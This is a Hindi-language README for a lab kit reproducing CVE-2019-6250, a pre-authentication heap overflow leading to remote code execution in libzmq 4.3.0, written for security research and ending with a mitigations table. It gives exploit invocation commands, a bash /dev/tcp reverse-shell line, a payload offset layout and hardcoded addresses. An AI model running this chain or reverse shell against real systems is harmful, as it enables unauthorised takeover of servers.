
CVE-2019-6250 (libzmq <= 4.3.0, ZMTP/2.0 wire-protocol) के लिए एंड-टू-एंड प्री-ऑथ RCE लैब
एंड-टू-एंड कार्यशील RCE श्रृंखला + CVE-2019-6250 के लिए पुनरुत्पादनीय लैब, जो libzmq के v2_decoder_t::size_ready में प्री-प्रमाणीकरण हीप-बफर-ओवरफ्लो है। एक uint64_t पॉइंटर-अंकगणितीय ओवरफ्लो एक अप्रमाणित पीयर को ZMTP/2.0 वायर पथ पर आसन्न msg_t::content_t::ffn फंक्शन पॉइंटर को अधिलेखित करने की अनुमति देता है, फिर TCP सॉकेट बंद करने → ~v2_decoder_t() → _in_progress.close() → system(cmd) के माध्यम से इसे ट्रिगर करता है।
द्वारा Nicolas Krassas (@dinosn).
केवल प्रयोगशाला उपयोग के लिए। यह किट जानबूझकर कमजोर libzmq 4.3.0 के साथ आता है। कृपया पोर्ट 5555 को प्रयोगशाला के बाहर उजागर न करें। यह बग सात साल पहले libzmq 4.3.1 में ठीक किया गया था (कमिट
1a2ed127).
system() श्रृंखला — फ़ाइल प्रमाण


docker build -t cve-2019-6250-lab .
docker run --rm -it --cap-add=SYS_ADMIN --security-opt seccomp=unconfined \
-p 5555:5555 cve-2019-6250-lab
# कंटेनर के अंदर:
/opt/zmq-rce/exploit.py 127.0.0.1 5555
ls -l /tmp/PWNED-CVE-2019-6250 # <-- libzmq सर्वर प्रक्रिया द्वारा बनाया गया
sudo ./setup.sh # libzmq 4.3.0 + लक्ष्य बनाता है, ASLR अक्षम करता है
sudo ./start_server.sh # tcp://0.0.0.0:5555 बाइंड करता है
./exploit.py 127.0.0.1 5555 # डिफ़ॉल्ट कमांड: touch /tmp/PWNED-CVE-2019-6250
ls -l /tmp/PWNED-CVE-2019-6250
# टर्मिनल 1 — श्रोता
nc -lvnp 4444
# टर्मिनल 2 — श्रृंखला को चलाएँ
./exploit.py 127.0.0.1 5555 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'
आपको कुछ इस प्रकार दिखना चाहिए:
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55842
bash: cannot set terminal process group (1355844): Inappropriate ioctl for device
bash: no job control in this shell
root@host:/opt/zmq-rce#
cannot set terminal process group (1355844) लाइन पुष्टि करती है कि शेल libzmq लक्ष्य प्रक्रिया (PID 1355844) द्वारा स्पॉन किया गया था, न कि आपके द्वारा स्थानीय रूप से चलाई गई किसी चीज़ से।
.
├── README.md # आप यहाँ हैं
├── server.c # छोटा PULL श्रोता — कमज़ोर लक्ष्य
├── exploit.py # पूर्ण RCE श्रृंखला
├── setup.sh # बेयर-मेटल प्रावधानकर्ता (libzmq 4.3.0 को क्लोन + बनाता है)
├── start_server.sh # लक्ष्य प्रारंभ/पुनरारंभ
├── read_addresses.sh # किसी भिन्न छवि के लिए पता प्रोफ़ाइल पुनर्जीवित करें
├── run_lab_test.sh # स्वचालित एंड-टू-एंड स्मोक टेस्ट (CI-अनुकूल)
├── Dockerfile # एक-कमांड कंटेनरीकृत लैब
└── screenshots/ # README स्क्रीनशॉट (charmbracelet/freeze से उत्पन्न)
src/v2_decoder.cpp:117 (libzmq 4.3.0):
shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
|| ((unsigned char *) read_pos_ + msg_size_ // <-- लिपट जाता है
> (allocator.data () + allocator.size ())))) {
rc = _in_progress.init_size (static_cast<size_t> (msg_size_)); // सुरक्षित पथ
} else {
rc = _in_progress.init (read_pos_, msg_size_, call_dec_ref,
allocator.buffer (), allocator.provide_content ());
// शून्य-प्रतिलिपि उपनाम पथ — _in_progress.data() == read_pos_
}
msg_size_ हमलावर-नियंत्रित बिग-एंडियन uint64_t है जो ZMTP/2.0 LARGE-फ्रेम हेडर से आता है। msg_size_ = 0xFFFFFFFFFFFFFFFF के साथ, योग read_pos_ + msg_size_ modulo 2⁶⁴ लपेटता है और दाएँ हाथ की ओर कम हो जाता है। सीमा जाँच गलत मूल्यांकित होती है → निष्पादन शून्य-प्रतिलिपि पथ में आ जाता है → _in_progress संदेश recv बफ़र का उपनाम लेता है। डिकोडर तब कर्नेल से read_pos_ पर 0xFFFFFFFFFFFFFFFF अतिरिक्त बाइट्स के लिए पूछता है, और recv() हमारे पेलोड को recv बफ़र के अंत से आगे आसन्न content_t[] सरणी (उसी malloc() खंड में decoder_allocators.cpp:88 पर आवंटित) में खुशी से लिखता है।
[ atomic_counter_t (refcnt) ] 8 बाइट्स
[ recv बफ़र ] 8192 बाइट्स ← read_pos_+0 से बाइट्स उतरना शुरू होते हैं
[ content_t [ _max_counters ] ] 249 × 40 = 9960 बाइट्स
↑ content_t[0] read_pos_+8183 से शुरू होता है
हम 8224 पेलोड बाइट्स भेजते हैं जो इस प्रकार संरचित होते हैं:
जब हम TCP सॉकेट बंद करते हैं, तो सर्वर का ~v2_decoder_t() _in_progress.close() को कॉल करता है। msg_t::close में:
if (!(_u.zclmsg.flags & shared) || !content->refcnt.sub(1)) {
content->ffn(content->data, content->hint); // -> system(cmd)
}
init_external_storage ने _u.zclmsg.flags = 0 सेट किया, इसलिए OR-शॉर्टकट तुरंत शाखा लेता है — refcnt की जाँच भी नहीं की जाती। हमारा अधिलेखित ffn चलता है।
कोई ROP नहीं, कोई शेलकोड नहीं, कोई सूचना-लीक नहीं: केवल एक libc प्रतीक समाधान और एक इनलाइन कमांड स्ट्रिंग।
v2_decoder_t तक प्री-प्रमाणीकरण पहुँचनाstream_engine.cpp:707 पर देखें:
bool zmq::stream_engine_t::handshake_v2_0 ()
{
if (_session->zap_enabled ()) { error (...); return false; }
_encoder = new v2_encoder_t (...);
_decoder = new v2_decoder_t (...); // <-- कोई मैकेनिज्म ऑब्जेक्ट नहीं
return true;
}
ZMTP/2.0 पथ v2_decoder_t को बिना किसी मैकेनिज्म के तुरंत बनाता है। केवल ZAP 2.0 कनेक्शनों को अस्वीकार करता है, और ZAP डिफ़ॉल्ट रूप से बंद है। जैसे ही कोई पीयर 12-बाइट ZMTP/2.0 अभिवादन (0xff + 8 null + 0x7f + संशोधन 0x01 + सॉकेट-प्रकार) भेजता है, प्रत्येक बाद का बाइट v2_decoder_t द्वारा पार्स किया जाता है। कोई प्रमाणीकरण नहीं। कोई हैंडशेक नहीं। कोई मैकेनिज्म स्टेट मशीन नहीं।
वैकल्पिक: -fsanitize=address के साथ बनाएँ और हीप-बफर-ओवरफ्लो रिपोर्ट देखें:

0 bytes after 18160-byte region हमारे द्वारा गणना किए गए खंड आकार की पुष्टि करता है: 8 (atomic_counter) + 8192 (recv buffer) + 249 × 40 (content_t array) = 18160। handshake_v2_0:719 पर आवंटन साइट पुष्टि करती है कि बग प्री-प्रमाणीकरण ZMTP/2.0 पथ पर चलता है।
kernel.randomize_va_space=0 के साथ, libc आधार, libzmq आधार, हीप, और I/O थ्रेड का malloc एरेना सभी निर्धारणीय पतों पर होते हैं। exploit.py में डिफ़ॉल्ट प्रोफ़ाइल (DEFAULT_PROFILE) बंडल लैब बिल्ड (Debian 12 / Kali 2024.1 / glibc 2.38, libzmq 4.3.0 रिलीज़-मोड -O2) के लिए कैप्चर की गई है:
किसी भिन्न glibc / libzmq बिल्ड पर पोर्ट करते समय, start_server.sh के बाद ./read_addresses.sh > profile.json चलाएँ, फिर एक्सप्लॉइट को --profile profile.json पास करें।
वास्तविक दुनिया के हमले में आपको या तो एक सूचना-लीक प्राइमिटिव या एक-गैजेट कॉल की आवश्यकता होगी जिसमें तर्क नियंत्रण की आवश्यकता न हो। दोनों इस लैब के दायरे से बाहर हैं — यहाँ लक्ष्य बग-टू-शेल पाइपलाइन को साफ-सुथरे ढंग से प्रदर्शित करना है, न कि ASLR को पराजित करना।
sudo pkill -9 server-rce
sudo rm -f /tmp/PWNED-CVE-2019-6250
sudo sysctl -w kernel.randomize_va_space=2 # डिफ़ॉल्ट ASLR पुनर्स्थापित करें
Nicolas Krassas — @dinosn
MIT © Nicolas Krassas। जानबूझकर कमजोर libzmq 4.3.0 स्रोत बिल्ड समय पर अपस्ट्रीम LGPLv3-with-exceptions / MPLv2 रिपॉजिटरी से प्राप्त किया जाता है — इसका लाइसेंस उस कोड पर अलग से लागू होता है।
केवल रक्षात्मक सुरक्षा अनुसंधान, शिक्षा और अधिकृत सुरक्षा परीक्षण के लिए। बंडल किए गए कमजोर बिल्ड को एक सीमित प्रयोगशाला वातावरण के बाहर तैनात न करें।
| पेलोड ऑफ़सेट | बाइट्स | क्या अधिलेखित होता है |
|---|
[0:16] | पैडिंग | (recv बफ़र में) |
[16:K] | कमांड स्ट्रिंग + NUL | (recv बफ़र में — system का तर्क) |
[K:8183] | पैडिंग | (recv बफ़र में) |
[8183:8191] | read_pos+16 | content_t[0].data (→ कमांड) |
[8191:8199] | 0 | content_t[0].size |
[8199:8207] | &system | content_t[0].ffn (नियंत्रण-प्रवाह लक्ष्य) |
[8207:8215] | 0 | content_t[0].hint |
[8215:8223] | 0 | content_t[0].refcnt |
| फ़ील्ड | मान | स्रोत |
|---|
libc_base | 0x7ffff7c00000 | /proc/<pid>/maps |
system_off | 0x53910 | nm -D /lib/x86_64-linux-gnu/libc.so.6 |
read_pos | 0x7ffff000bbc1 | _buf + sizeof(atomic_counter_t) + 9 |
dist_to_content | 8183 | लेआउट से व्युत्पन्न |
cmd_offset | 16 | पेलोड में हम कमांड कहाँ रखते हैं |
| रक्षा | प्रभाव |
|---|
| libzmq ≥ 4.3.1 पर अपग्रेड करें | ठीक किया गया। कमिट 1a2ed127 सीमा जाँच को msg_size_ > size_t(allocator.data()+size()-read_pos_) के रूप में फिर से लिखता है — कोई ओवरफ्लो संभव नहीं। |
zmq_setsockopt(s, ZMQ_MAXMSGSIZE, &n, sizeof(n)) किसी भी धनात्मक n के साथ | कम करता है। लपेटने से पहले टूटी हुई सीमा जाँच को शॉर्ट-सर्किट करता है। |
| ZAP प्रमाणीकरण सक्षम करें | ZMTP/2.0 कनेक्शनों को रोकता है (stream_engine.cpp:709 पर अस्वीकृत)। बग को ठीक नहीं करता; केवल अप्रमाणित पथ को रोकता है। |
| ASLR | हथियारीकरण को धीमा करता है लेकिन इसे रोकता नहीं — श्रृंखला प्राइमिटिव स्वयं प्रभावित नहीं होता। |
| स्टैक कैनरी / NX / RELRO | इनमें से कोई भी हीप फंक्शन-पॉइंटर हाइजैक से रक्षा नहीं करता। |